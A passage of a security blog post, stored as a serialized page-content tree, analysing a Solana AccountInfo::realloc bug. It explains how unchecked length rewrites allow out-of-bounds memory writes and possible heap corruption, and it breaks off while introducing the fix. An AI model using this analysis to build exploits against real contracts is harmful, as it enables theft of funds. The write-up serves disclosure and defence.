slice\n",{"type":25,"tag":216,"props":20094,"children":20095},{"class":6916,"line":6763},[20096,20100,20104,20108,20112,20116,20120,20124,20128,20132,20136,20140,20144,20148,20152,20156,20160,20164,20168,20172,20176,20180,20184,20188,20192,20196,20200,20204,20208,20212,20216],{"type":25,"tag":216,"props":20097,"children":20098},{"style":6930},[20099],{"type":31,"value":15737},{"type":25,"tag":216,"props":20101,"children":20102},{"style":6941},[20103],{"type":31,"value":17808},{"type":25,"tag":216,"props":20105,"children":20106},{"style":6947},[20107],{"type":31,"value":6950},{"type":25,"tag":216,"props":20109,"children":20110},{"style":6947},[20111],{"type":31,"value":11087},{"type":25,"tag":216,"props":20113,"children":20114},{"style":6930},[20115],{"type":31,"value":7685},{"type":25,"tag":216,"props":20117,"children":20118},{"style":6947},[20119],{"type":31,"value":13767},{"type":25,"tag":216,"props":20121,"children":20122},{"style":6958},[20123],{"type":31,"value":17968},{"type":25,"tag":216,"props":20125,"children":20126},{"style":6930},[20127],{"type":31,"value":17664},{"type":25,"tag":216,"props":20129,"children":20130},{"style":6947},[20131],{"type":31,"value":179},{"type":25,"tag":216,"props":20133,"children":20134},{"style":6958},[20135],{"type":31,"value":7663},{"type":25,"tag":216,"props":20137,"children":20138},{"style":6947},[20139],{"type":31,"value":179},{"type":25,"tag":216,"props":20141,"children":20142},{"style":7041},[20143],{"type":31,"value":17989},{"type":25,"tag":216,"props":20145,"children":20146},{"style":6958},[20147],{"type":31,"value":17994},{"type":25,"tag":216,"props":20149,"children":20150},{"style":6930},[20151],{"type":31,"value":12789},{"type":25,"tag":216,"props":20153,"children":20154},{"style":6947},[20155],{"type":31,"value":13767},{"type":25,"tag":216,"props":20157,"children":20158},{"style":6930},[20159],{"type":31,"value":13605},{"type":25,"tag":216,"props":20161,"children":20162},{"style":7369},[20163],{"type":31,"value":9805},{"type":25,"tag":216,"props":20165,"children":20166},{"style":6958},[20167],{"type":31,"value":1882},{"type":25,"tag":216,"props":20169,"children":20170},{"style":6947},[20171],{"type":31,"value":179},{"type":25,"tag":216,"props":20173,"children":20174},{"style":7041},[20175],{"type":31,"value":17852},{"type":25,"tag":216,"props":20177,"children":20178},{"style":6958},[20179],{"type":31,"value":1844},{"type":25,"tag":216,"props":20181,"children":20182},{"style":6983},[20183],{"type":31,"value":184},{"type":25,"tag":216,"props":20185,"children":20186},{"style":6958},[20187],{"type":31,"value":7030},{"type":25,"tag":216,"props":20189,"children":20190},{"style":6930},[20191],{"type":31,"value":12789},{"type":25,"tag":216,"props":20193,"children":20194},{"style":7369},[20195],{"type":31,"value":9805},{"type":25,"tag":216,"props":20197,"children":20198},{"style":6958},[20199],{"type":31,"value":7030},{"type":25,"tag":216,"props":20201,"children":20202},{"style":6930},[20203],{"type":31,"value":12789},{"type":25,"tag":216,"props":20205,"children":20206},{"style":6947},[20207],{"type":31,"value":13767},{"type":25,"tag":216,"props":20209,"children":20210},{"style":6930},[20211],{"type":31,"value":7685},{"type":25,"tag":216,"props":20213,"children":20214},{"style":7369},[20215],{"type":31,"value":9805},{"type":25,"tag":216,"props":20217,"children":20218},{"style":6958},[20219],{"type":31,"value":7791},{"type":25,"tag":216,"props":20221,"children":20222},{"class":6916,"line":6772},[20223,20227,20231,20235,20239,20243,20247],{"type":25,"tag":216,"props":20224,"children":20225},{"style":6947},[20226],{"type":31,"value":8513},{"type":25,"tag":216,"props":20228,"children":20229},{"style":6941},[20230],{"type":31,"value":17900},{"type":25,"tag":216,"props":20232,"children":20233},{"style":6947},[20234],{"type":31,"value":6950},{"type":25,"tag":216,"props":20236,"children":20237},{"style":6941},[20238],{"type":31,"value":17909},{"type":25,"tag":216,"props":20240,"children":20241},{"style":6930},[20242],{"type":31,"value":12775},{"type":25,"tag":216,"props":20244,"children":20245},{"style":7369},[20246],{"type":31,"value":9805},{"type":25,"tag":216,"props":20248,"children":20249},{"style":6958},[20250],{"type":31,"value":6961},{"type":25,"tag":38,"props":20252,"children":20253},{},[20254,20256,20262,20264,20275,20277,20283,20285,20291,20293,20298,20300,20305,20307,20317,20318,20325,20326,20333,20340,20342,20348,20350,20356,20358,20363,20365,20370,20372,20378,20380,20385],{"type":31,"value":20255},"That ",{"type":25,"tag":82,"props":20257,"children":20259},{"className":20258},[],[20260],{"type":31,"value":20261},"as_ptr()",{"type":31,"value":20263}," call is ",{"type":25,"tag":162,"props":20265,"children":20268},{"href":20266,"rel":20267},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[166],[20269],{"type":25,"tag":82,"props":20270,"children":20272},{"className":20271},[],[20273],{"type":31,"value":20274},"RefCell::as_ptr()",{"type":31,"value":20276}," due to the ",{"type":25,"tag":82,"props":20278,"children":20280},{"className":20279},[],[20281],{"type":31,"value":20282},"Deref",{"type":31,"value":20284}," impl on ",{"type":25,"tag":82,"props":20286,"children":20288},{"className":20287},[],[20289],{"type":31,"value":20290},"Rc",{"type":31,"value":20292}," (remember also that ",{"type":25,"tag":82,"props":20294,"children":20296},{"className":20295},[],[20297],{"type":31,"value":19455},{"type":31,"value":20299}," itself doesn't behave like a reference, you need to actually ",{"type":25,"tag":64,"props":20301,"children":20302},{},[20303],{"type":31,"value":20304},"get",{"type":31,"value":20306}," one through ",{"type":25,"tag":162,"props":20308,"children":20311},{"href":20309,"rel":20310},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[166],[20312],{"type":25,"tag":82,"props":20313,"children":20315},{"className":20314},[],[20316],{"type":31,"value":12749},{"type":31,"value":10403},{"type":25,"tag":162,"props":20319,"children":20322},{"href":20320,"rel":20321},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[166],[20323],{"type":31,"value":20324},"and",{"type":31,"value":10403},{"type":25,"tag":162,"props":20327,"children":20330},{"href":20328,"rel":20329},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[166],[20331],{"type":31,"value":20332},"frie",{"type":25,"tag":162,"props":20334,"children":20337},{"href":20335,"rel":20336},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[166],[20338],{"type":31,"value":20339},"nds",{"type":31,"value":20341},"). So from ",{"type":25,"tag":82,"props":20343,"children":20345},{"className":20344},[],[20346],{"type":31,"value":20347},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":31,"value":20349}," we get a ",{"type":25,"tag":82,"props":20351,"children":20353},{"className":20352},[],[20354],{"type":31,"value":20355},"*mut &mut [u8]",{"type":31,"value":20357}," - a ",{"type":25,"tag":64,"props":20359,"children":20360},{},[20361],{"type":31,"value":20362},"pointer",{"type":31,"value":20364}," to the ",{"type":25,"tag":64,"props":20366,"children":20367},{},[20368],{"type":31,"value":20369},"slice reference",{"type":31,"value":20371},". From here, we turn the pointer into a ",{"type":25,"tag":82,"props":20373,"children":20375},{"className":20374},[],[20376],{"type":31,"value":20377},"*const u64",{"type":31,"value":20379}," pointer and then offset by 1 ",{"type":25,"tag":82,"props":20381,"children":20383},{"className":20382},[],[20384],{"type":31,"value":11988},{"type":31,"value":20386}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":25,"tag":38,"props":20388,"children":20389},{},[20390,20392,20397,20399,20404,20406,20411,20413,20418,20420,20426],{"type":31,"value":20391},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":25,"tag":162,"props":20393,"children":20395},{"href":20394},"#Towards-safer-unsafe",[20396],{"type":31,"value":20064},{"type":31,"value":20398}," too, I promise. In summary, we're writing the new length as a ",{"type":25,"tag":82,"props":20400,"children":20402},{"className":20401},[],[20403],{"type":31,"value":11988},{"type":31,"value":20405}," to the region starting 8 bytes from the start of the slice ",{"type":25,"tag":64,"props":20407,"children":20408},{},[20409],{"type":31,"value":20410},"reference",{"type":31,"value":20412}," (the ",{"type":25,"tag":82,"props":20414,"children":20416},{"className":20415},[],[20417],{"type":31,"value":19414},{"type":31,"value":20419},").So, what does ",{"type":25,"tag":82,"props":20421,"children":20423},{"className":20422},[],[20424],{"type":31,"value":20425},"&[T]",{"type":31,"value":20427}," look like in Rust?",{"type":25,"tag":38,"props":20429,"children":20430},{},[20431,20433,20440,20442,20455,20457,20463],{"type":31,"value":20432},"According to ",{"type":25,"tag":162,"props":20434,"children":20437},{"href":20435,"rel":20436},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[166],[20438],{"type":31,"value":20439},"the reference",{"type":31,"value":20441},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":25,"tag":162,"props":20443,"children":20446},{"href":20444,"rel":20445},"https://doc.rust-lang.org/reference/type-layout.html",[166],[20447,20449,20453],{"type":31,"value":20448},"\"Type layout can be changed with each compilation. ",{"type":25,"tag":216,"props":20450,"children":20451},{},[20452],{"type":31,"value":13541},{"type":31,"value":20454}," we only document what is guaranteed today\"",{"type":31,"value":20456},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":25,"tag":82,"props":20458,"children":20460},{"className":20459},[],[20461],{"type":31,"value":20462},"rustc",{"type":31,"value":20464},", the layout is a data pointer followed by the size; essentially the same as:",{"type":25,"tag":206,"props":20466,"children":20469},{"className":20467,"code":20468,"language":2248,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[20470],{"type":25,"tag":82,"props":20471,"children":20472},{"__ignoreMap":7},[20473,20481,20493,20510,20523],{"type":25,"tag":216,"props":20474,"children":20475},{"class":6916,"line":6917},[20476],{"type":25,"tag":216,"props":20477,"children":20478},{"style":6921},[20479],{"type":31,"value":20480},"// C language\n",{"type":25,"tag":216,"props":20482,"children":20483},{"class":6916,"line":6763},[20484,20488],{"type":25,"tag":216,"props":20485,"children":20486},{"style":6930},[20487],{"type":31,"value":13351},{"type":25,"tag":216,"props":20489,"children":20490},{"style":6958},[20491],{"type":31,"value":20492}," slice_ref {\n",{"type":25,"tag":216,"props":20494,"children":20495},{"class":6916,"line":6772},[20496,20501,20505],{"type":25,"tag":216,"props":20497,"children":20498},{"style":6930},[20499],{"type":31,"value":20500},"    void",{"type":25,"tag":216,"props":20502,"children":20503},{"style":6947},[20504],{"type":31,"value":8513},{"type":25,"tag":216,"props":20506,"children":20507},{"style":6958},[20508],{"type":31,"value":20509}," ptr;\n",{"type":25,"tag":216,"props":20511,"children":20512},{"class":6916,"line":6999},[20513,20518],{"type":25,"tag":216,"props":20514,"children":20515},{"style":6930},[20516],{"type":31,"value":20517},"    size_t",{"type":25,"tag":216,"props":20519,"children":20520},{"style":6958},[20521],{"type":31,"value":20522}," len;\n",{"type":25,"tag":216,"props":20524,"children":20525},{"class":6916,"line":7104},[20526],{"type":25,"tag":216,"props":20527,"children":20528},{"style":6958},[20529],{"type":31,"value":20530},"};\n",{"type":25,"tag":38,"props":20532,"children":20533},{},[20534],{"type":31,"value":20535},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":25,"tag":6705,"props":20537,"children":20538},{},[20539,20544,20562],{"type":25,"tag":2037,"props":20540,"children":20541},{},[20542],{"type":31,"value":20543},"Slices are laid out in the precise manner described",{"type":25,"tag":2037,"props":20545,"children":20546},{},[20547,20549,20555,20557],{"type":31,"value":20548},"Pointers and ",{"type":25,"tag":82,"props":20550,"children":20552},{"className":20551},[],[20553],{"type":31,"value":20554},"usize",{"type":31,"value":20556}," are the same width as ",{"type":25,"tag":82,"props":20558,"children":20560},{"className":20559},[],[20561],{"type":31,"value":11988},{"type":25,"tag":2037,"props":20563,"children":20564},{},[20565,20566,20571],{"type":31,"value":474},{"type":25,"tag":82,"props":20567,"children":20569},{"className":20568},[],[20570],{"type":31,"value":19455},{"type":31,"value":20572}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":25,"tag":38,"props":20574,"children":20575},{},[20576,20578,20583,20585,20591,20593,20598,20600,20606,20608,20613,20615,20625],{"type":31,"value":20577},"Assumption #2 is ",{"type":25,"tag":64,"props":20579,"children":20580},{},[20581],{"type":31,"value":20582},"probably",{"type":31,"value":20584}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":25,"tag":82,"props":20586,"children":20588},{"className":20587},[],[20589],{"type":31,"value":20590},"borrow_mut",{"type":31,"value":20592}," of the ",{"type":25,"tag":82,"props":20594,"children":20596},{"className":20595},[],[20597],{"type":31,"value":19455},{"type":31,"value":20599}," (through ",{"type":25,"tag":82,"props":20601,"children":20603},{"className":20602},[],[20604],{"type":31,"value":20605},"AccountInfo::try_borrow_mut_data()",{"type":31,"value":20607},"), and ",{"type":25,"tag":82,"props":20609,"children":20611},{"className":20610},[],[20612],{"type":31,"value":19455},{"type":31,"value":20614}," is not usable between multiple threads",{"type":25,"tag":19425,"props":20616,"children":20617},{},[20618],{"type":25,"tag":162,"props":20619,"children":20623},{"href":20620,"ariaDescribedBy":20621,"dataFootnoteRef":7,"id":20622},"#user-content-fn-sendsync",[19432],"user-content-fnref-sendsync",[20624],{"type":31,"value":331},{"type":31,"value":20626},", so we already have exclusive access.",{"type":25,"tag":38,"props":20628,"children":20629},{},[20630,20632,20636],{"type":31,"value":20631},"A few more ",{"type":25,"tag":64,"props":20633,"children":20634},{},[20635],{"type":31,"value":11053},{"type":31,"value":20637}," things of note, that could have gone badly but didn't:",{"type":25,"tag":2033,"props":20639,"children":20640},{},[20641,20683],{"type":25,"tag":2037,"props":20642,"children":20643},{},[20644,20646,20652,20654,20659,20661,20666,20668,20673,20675,20681],{"type":31,"value":20645},"By reborrowing the pointer (the ",{"type":25,"tag":82,"props":20647,"children":20649},{"className":20648},[],[20650],{"type":31,"value":20651},"&mut *(\u003Cvalue of type *mut u64>)",{"type":31,"value":20653},"), we've created a reference with an ",{"type":25,"tag":64,"props":20655,"children":20656},{},[20657],{"type":31,"value":20658},"unbounded lifetime",{"type":31,"value":20660},". Rust is free to infer ",{"type":25,"tag":64,"props":20662,"children":20663},{},[20664],{"type":31,"value":20665},"any",{"type":31,"value":20667}," lifetime for ",{"type":25,"tag":82,"props":20669,"children":20671},{"className":20670},[],[20672],{"type":31,"value":17900},{"type":31,"value":20674}," (including ",{"type":25,"tag":82,"props":20676,"children":20678},{"className":20677},[],[20679],{"type":31,"value":20680},"'static",{"type":31,"value":20682},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":25,"tag":2037,"props":20684,"children":20685},{},[20686,20688,20694,20696,20701,20703,20708,20710,20715,20717,20722,20724,20729,20731,20736,20738,20744,20746,20751,20753,20758,20760,20765,20767,20772,20774,20779],{"type":31,"value":20687},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":25,"tag":82,"props":20689,"children":20691},{"className":20690},[],[20692],{"type":31,"value":20693},"RefMut",{"type":31,"value":20695}," returned from ",{"type":25,"tag":82,"props":20697,"children":20699},{"className":20698},[],[20700],{"type":31,"value":17825},{"type":31,"value":20702},", but the ",{"type":25,"tag":82,"props":20704,"children":20706},{"className":20705},[],[20707],{"type":31,"value":20693},{"type":31,"value":20709}," is dropped at the end of the statement. So, we now have in ",{"type":25,"tag":82,"props":20711,"children":20713},{"className":20712},[],[20714],{"type":31,"value":17900},{"type":31,"value":20716}," a ",{"type":25,"tag":64,"props":20718,"children":20719},{},[20720],{"type":31,"value":20721},"mutable",{"type":31,"value":20723}," pointer to the ",{"type":25,"tag":82,"props":20725,"children":20727},{"className":20726},[],[20728],{"type":31,"value":19455},{"type":31,"value":20730},"'s data, but the ",{"type":25,"tag":82,"props":20732,"children":20734},{"className":20733},[],[20735],{"type":31,"value":19455},{"type":31,"value":20737}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":25,"tag":82,"props":20739,"children":20741},{"className":20740},[],[20742],{"type":31,"value":20743},"Mutex",{"type":31,"value":20745}," instead of a ",{"type":25,"tag":82,"props":20747,"children":20749},{"className":20748},[],[20750],{"type":31,"value":19455},{"type":31,"value":20752}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":25,"tag":82,"props":20754,"children":20756},{"className":20755},[],[20757],{"type":31,"value":17900},{"type":31,"value":20759}," and writing to it ",{"type":25,"tag":64,"props":20761,"children":20762},{},[20763],{"type":31,"value":20764},"and succeed",{"type":31,"value":20766},", resulting in us writing while another reference is alive. However, since ",{"type":25,"tag":82,"props":20768,"children":20770},{"className":20769},[],[20771],{"type":31,"value":17900},{"type":31,"value":20773}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":25,"tag":82,"props":20775,"children":20777},{"className":20776},[],[20778],{"type":31,"value":7663},{"type":31,"value":20780}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":25,"tag":38,"props":20782,"children":20783},{},[20784,20786,20791],{"type":31,"value":20785},"Ok, now that we've understood what the code is ",{"type":25,"tag":64,"props":20787,"children":20788},{},[20789],{"type":31,"value":20790},"trying",{"type":31,"value":20792}," to do, let's try to break it, shall we?",{"type":25,"tag":26,"props":20794,"children":20796},{"id":20795},"what-can-go-wrong",[20797],{"type":31,"value":20798},"What can go wrong?",{"type":25,"tag":607,"props":20800,"children":20802},{"id":20801},"contracts",[20803],{"type":31,"value":20804},"Contracts",{"type":25,"tag":38,"props":20806,"children":20807},{},[20808,20810,20815,20817,20822,20824,20829,20831,20836],{"type":31,"value":20809},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":25,"tag":82,"props":20811,"children":20813},{"className":20812},[],[20814],{"type":31,"value":17589},{"type":31,"value":20816},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":25,"tag":82,"props":20818,"children":20820},{"className":20819},[],[20821],{"type":31,"value":17589},{"type":31,"value":20823}," to some large size, past the end of the buffer of roughly ",{"type":25,"tag":82,"props":20825,"children":20827},{"className":20826},[],[20828],{"type":31,"value":19244},{"type":31,"value":20830}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":25,"tag":82,"props":20832,"children":20834},{"className":20833},[],[20835],{"type":31,"value":7663},{"type":31,"value":20837}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":25,"tag":38,"props":20839,"children":20840},{},[20841,20843,20850],{"type":31,"value":20842},"There is ",{"type":25,"tag":162,"props":20844,"children":20847},{"href":20845,"rel":20846},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[166],[20848],{"type":31,"value":20849},"a check",{"type":31,"value":20851}," by the BPF loader, however, and it boils down to:",{"type":25,"tag":206,"props":20853,"children":20855},{"className":6909,"code":20854,"language":6908,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[20856],{"type":25,"tag":82,"props":20857,"children":20858},{"__ignoreMap":7},[20859,20897,20927,20934,20967],{"type":25,"tag":216,"props":20860,"children":20861},{"class":6916,"line":6917},[20862,20866,20871,20875,20879,20883,20887,20892],{"type":25,"tag":216,"props":20863,"children":20864},{"style":6967},[20865],{"type":31,"value":19531},{"type":25,"tag":216,"props":20867,"children":20868},{"style":6941},[20869],{"type":31,"value":20870}," post_len",{"type":25,"tag":216,"props":20872,"children":20873},{"style":6947},[20874],{"type":31,"value":179},{"type":25,"tag":216,"props":20876,"children":20877},{"style":7041},[20878],{"type":31,"value":18243},{"type":25,"tag":216,"props":20880,"children":20881},{"style":6958},[20882],{"type":31,"value":1844},{"type":25,"tag":216,"props":20884,"children":20885},{"style":6947},[20886],{"type":31,"value":8513},{"type":25,"tag":216,"props":20888,"children":20889},{"style":6941},[20890],{"type":31,"value":20891},"pre_len",{"type":25,"tag":216,"props":20893,"children":20894},{"style":6958},[20895],{"type":31,"value":20896},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":25,"tag":216,"props":20898,"children":20899},{"class":6916,"line":6763},[20900,20905,20909,20913,20918,20922],{"type":25,"tag":216,"props":20901,"children":20902},{"style":6947},[20903],{"type":31,"value":20904},"    ||",{"type":25,"tag":216,"props":20906,"children":20907},{"style":6941},[20908],{"type":31,"value":20870},{"type":25,"tag":216,"props":20910,"children":20911},{"style":6947},[20912],{"type":31,"value":18145},{"type":25,"tag":216,"props":20914,"children":20915},{"style":6958},[20916],{"type":31,"value":20917}," MAX_PERMITTED_DATA_LENGTH ",{"type":25,"tag":216,"props":20919,"children":20920},{"style":6930},[20921],{"type":31,"value":12789},{"type":25,"tag":216,"props":20923,"children":20924},{"style":7369},[20925],{"type":31,"value":20926}," usize\n",{"type":25,"tag":216,"props":20928,"children":20929},{"class":6916,"line":6772},[20930],{"type":25,"tag":216,"props":20931,"children":20932},{"style":6958},[20933],{"type":31,"value":14830},{"type":25,"tag":216,"props":20935,"children":20936},{"class":6916,"line":6999},[20937,20942,20946,20950,20954,20958,20963],{"type":25,"tag":216,"props":20938,"children":20939},{"style":6967},[20940],{"type":31,"value":20941},"    return",{"type":25,"tag":216,"props":20943,"children":20944},{"style":7369},[20945],{"type":31,"value":19701},{"type":25,"tag":216,"props":20947,"children":20948},{"style":6958},[20949],{"type":31,"value":1844},{"type":25,"tag":216,"props":20951,"children":20952},{"style":7369},[20953],{"type":31,"value":19710},{"type":25,"tag":216,"props":20955,"children":20956},{"style":6947},[20957],{"type":31,"value":7432},{"type":25,"tag":216,"props":20959,"children":20960},{"style":7369},[20961],{"type":31,"value":20962},"InvalidRealloc",{"type":25,"tag":216,"props":20964,"children":20965},{"style":6958},[20966],{"type":31,"value":7791},{"type":25,"tag":216,"props":20968,"children":20969},{"class":6916,"line":7104},[20970],{"type":25,"tag":216,"props":20971,"children":20972},{"style":6958},[20973],{"type":31,"value":7868},{"type":25,"tag":38,"props":20975,"children":20976},{},[20977,20979,20984,20986,20991],{"type":31,"value":20978},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":25,"tag":64,"props":20980,"children":20981},{},[20982],{"type":31,"value":20983},"finishes",{"type":31,"value":20985}," execution. ",{"type":25,"tag":64,"props":20987,"children":20988},{},[20989],{"type":31,"value":20990},"During",{"type":31,"value":20992}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":25,"tag":38,"props":20994,"children":20995},{},[20996,20998,21003,21005,21010,21012,21019],{"type":31,"value":20997},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":25,"tag":64,"props":20999,"children":21000},{},[21001],{"type":31,"value":21002},"arbitrary",{"type":31,"value":21004}," memory access through a mistakenly-",{"type":25,"tag":82,"props":21006,"children":21008},{"className":21007},[],[21009],{"type":31,"value":17589},{"type":31,"value":21011},"'d account, this falls in the relm of some ",{"type":25,"tag":162,"props":21013,"children":21016},{"href":21014,"rel":21015},"https://en.wikipedia.org/wiki/Buffer_overflow",[166],[21017],{"type":31,"value":21018},"old-school pwning",{"type":31,"value":21020}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":25,"tag":607,"props":21022,"children":21024},{"id":21023},"not-contracts",[21025],{"type":31,"value":21026},"Not-contracts?",{"type":25,"tag":38,"props":21028,"children":21029},{},[21030,21032,21037,21039,21049,21051,21063,21065,21072,21074,21079,21081,21086,21088,21101,21103,21108,21110,21115],{"type":31,"value":21031},"Remember when we said that all this code makes sense ",{"type":25,"tag":64,"props":21033,"children":21034},{},[21035],{"type":31,"value":21036},"if the data points to the BPF loader's serialized buffer",{"type":31,"value":21038},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":25,"tag":162,"props":21040,"children":21043},{"href":21041,"rel":21042},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[166],[21044],{"type":25,"tag":82,"props":21045,"children":21047},{"className":21046},[],[21048],{"type":31,"value":18890},{"type":31,"value":21050}," are public, and so is its ",{"type":25,"tag":162,"props":21052,"children":21055},{"href":21053,"rel":21054},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[166],[21056,21061],{"type":25,"tag":82,"props":21057,"children":21059},{"className":21058},[],[21060],{"type":31,"value":19074},{"type":31,"value":21062}," method",{"type":31,"value":21064}," (which is ",{"type":25,"tag":162,"props":21066,"children":21069},{"href":21067,"rel":21068},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[166],[21070],{"type":31,"value":21071},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":31,"value":21073},"). The ",{"type":25,"tag":82,"props":21075,"children":21077},{"className":21076},[],[21078],{"type":31,"value":17589},{"type":31,"value":21080}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":25,"tag":82,"props":21082,"children":21084},{"className":21083},[],[21085],{"type":31,"value":18890},{"type":31,"value":21087}," ourselves - potentially through the ",{"type":25,"tag":162,"props":21089,"children":21092},{"href":21090,"rel":21091},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[166],[21093,21099],{"type":25,"tag":82,"props":21094,"children":21096},{"className":21095},[],[21097],{"type":31,"value":21098},"Account",{"type":31,"value":21100}," trait",{"type":31,"value":21102},", which is hardly documented at all and makes ",{"type":25,"tag":64,"props":21104,"children":21105},{},[21106],{"type":31,"value":21107},"no",{"type":31,"value":21109}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":25,"tag":82,"props":21111,"children":21113},{"className":21112},[],[21114],{"type":31,"value":7663},{"type":31,"value":21116}," buffer.",{"type":25,"tag":38,"props":21118,"children":21119},{},[21120,21122,21133,21135,21141,21143,21149,21151,21163,21165,21170,21172,21177,21179,21184,21186,21191,21193,21198,21200,21205],{"type":31,"value":21121},"One long arm of this is ",{"type":25,"tag":162,"props":21123,"children":21126},{"href":21124,"rel":21125},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[166],[21127],{"type":25,"tag":82,"props":21128,"children":21130},{"className":21129},[],[21131],{"type":31,"value":21132},"solana_sdk::account::Account",{"type":31,"value":21134}," - in the client SDK. It holds an account's data in a ",{"type":25,"tag":82,"props":21136,"children":21138},{"className":21137},[],[21139],{"type":31,"value":21140},"Vec\u003Cu8>",{"type":31,"value":21142},", and it implements ",{"type":25,"tag":82,"props":21144,"children":21146},{"className":21145},[],[21147],{"type":31,"value":21148},"solana_program::account_info::Account",{"type":31,"value":21150}," (the trait from earlier) - by ",{"type":25,"tag":162,"props":21152,"children":21155},{"href":21153,"rel":21154},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[166],[21156,21158],{"type":31,"value":21157},"returning a reference to the contents of that ",{"type":25,"tag":82,"props":21159,"children":21161},{"className":21160},[],[21162],{"type":31,"value":900},{"type":31,"value":21164},". So, ",{"type":25,"tag":82,"props":21166,"children":21168},{"className":21167},[],[21169],{"type":31,"value":17589},{"type":31,"value":21171}," writes the size into the 8 bytes right before ",{"type":25,"tag":82,"props":21173,"children":21175},{"className":21174},[],[21176],{"type":31,"value":7663},{"type":31,"value":21178},"; ",{"type":25,"tag":82,"props":21180,"children":21182},{"className":21181},[],[21183],{"type":31,"value":7663},{"type":31,"value":21185}," is the buffer of a ",{"type":25,"tag":82,"props":21187,"children":21189},{"className":21188},[],[21190],{"type":31,"value":900},{"type":31,"value":21192},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":25,"tag":82,"props":21194,"children":21196},{"className":21195},[],[21197],{"type":31,"value":18890},{"type":31,"value":21199}," out of an SDK ",{"type":25,"tag":82,"props":21201,"children":21203},{"className":21202},[],[21204],{"type":31,"value":21098},{"type":31,"value":21206}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":25,"tag":26,"props":21208,"children":21210},{"id":21209},"remediation",[21211],{"type":31,"value":21212},"Remediation",{"type":25,"tag":38,"props":21214,"children":21215},{},[21216],{"type":31,"value":21217},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":25,"tag":38,"props":21219,"children":21220},{},[21221,21223,21228,21230,21235,21237,21248,21250,21255,21257,21264],{"type":31,"value":21222},"The sensible thing to do would be to store the initial size in the ",{"type":25,"tag":82,"props":21224,"children":21226},{"className":21225},[],[21227],{"type":31,"value":18890},{"type":31,"value":21229},"... except for the fact that the layout of ",{"type":25,"tag":82,"props":21231,"children":21233},{"className":21232},[],[21234],{"type":31,"value":18890},{"type":31,"value":21236}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":25,"tag":19425,"props":21238,"children":21239},{},[21240],{"type":25,"tag":162,"props":21241,"children":21245},{"href":21242,"ariaDescribedBy":21243,"dataFootnoteRef":7,"id":21244},"#user-content-fn-layout",[19432],"user-content-fnref-layout",[21246],{"type":31,"value":21247},"3",{"type":31,"value":21249}," So, with changing ",{"type":25,"tag":82,"props":21251,"children":21253},{"className":21252},[],[21254],{"type":31,"value":18890},{"type":31,"value":21256}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed 